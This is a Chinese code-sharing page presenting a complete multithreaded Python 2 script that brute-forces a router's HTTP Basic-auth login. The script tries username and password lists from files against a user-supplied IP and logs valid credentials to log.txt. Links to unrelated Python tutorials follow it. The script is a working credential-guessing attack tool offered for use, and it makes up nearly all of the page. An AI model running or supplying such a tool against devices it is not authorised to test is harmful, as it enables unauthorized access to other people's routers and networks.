python实现多线程暴力破解登陆路由器功能代码分享

yipeiwu_com5年前Python基础

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

相关文章

python实现指定字符串补全空格、前面填充0的方法

Python zfill()方法返回指定长度的字符串,原字符串右对齐,前面填充0。 zfill()方法语法:str.zfill(width) 参数width -- 指定字符串的长度。原字...

Python实现的插入排序算法原理与用法实例分析

Python实现的插入排序算法原理与用法实例分析

本文实例讲述了Python实现的插入排序算法原理与用法。分享给大家供大家参考,具体如下: 插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中,从而得到一个新的、个数加一的有序数...

纯Python开发的nosql数据库CodernityDB介绍和使用实例

纯Python开发的nosql数据库CodernityDB介绍和使用实例

看看这个logo,有些像python的小蛇吧 。这次介绍的数据库codernityDB是纯python开发的。 先前用了下tinyDB这个本地数据库,也在一个api服务中用了下,一开始...

Python面向对象class类属性及子类用法分析

本文实例讲述了Python面向对象class类属性及子类用法。分享给大家供大家参考,具体如下: class类属性 class Foo(object): x=1.5 foo=Foo...

Python cookbook(字符串与文本)在字符串的开头或结尾处进行文本匹配操作

本文实例讲述了Python在字符串的开头或结尾处进行文本匹配操作。分享给大家供大家参考,具体如下: 问题:在字符串的开头或结尾处按照指定的文本模式做检查,例如检查文件的扩展名、URL协议...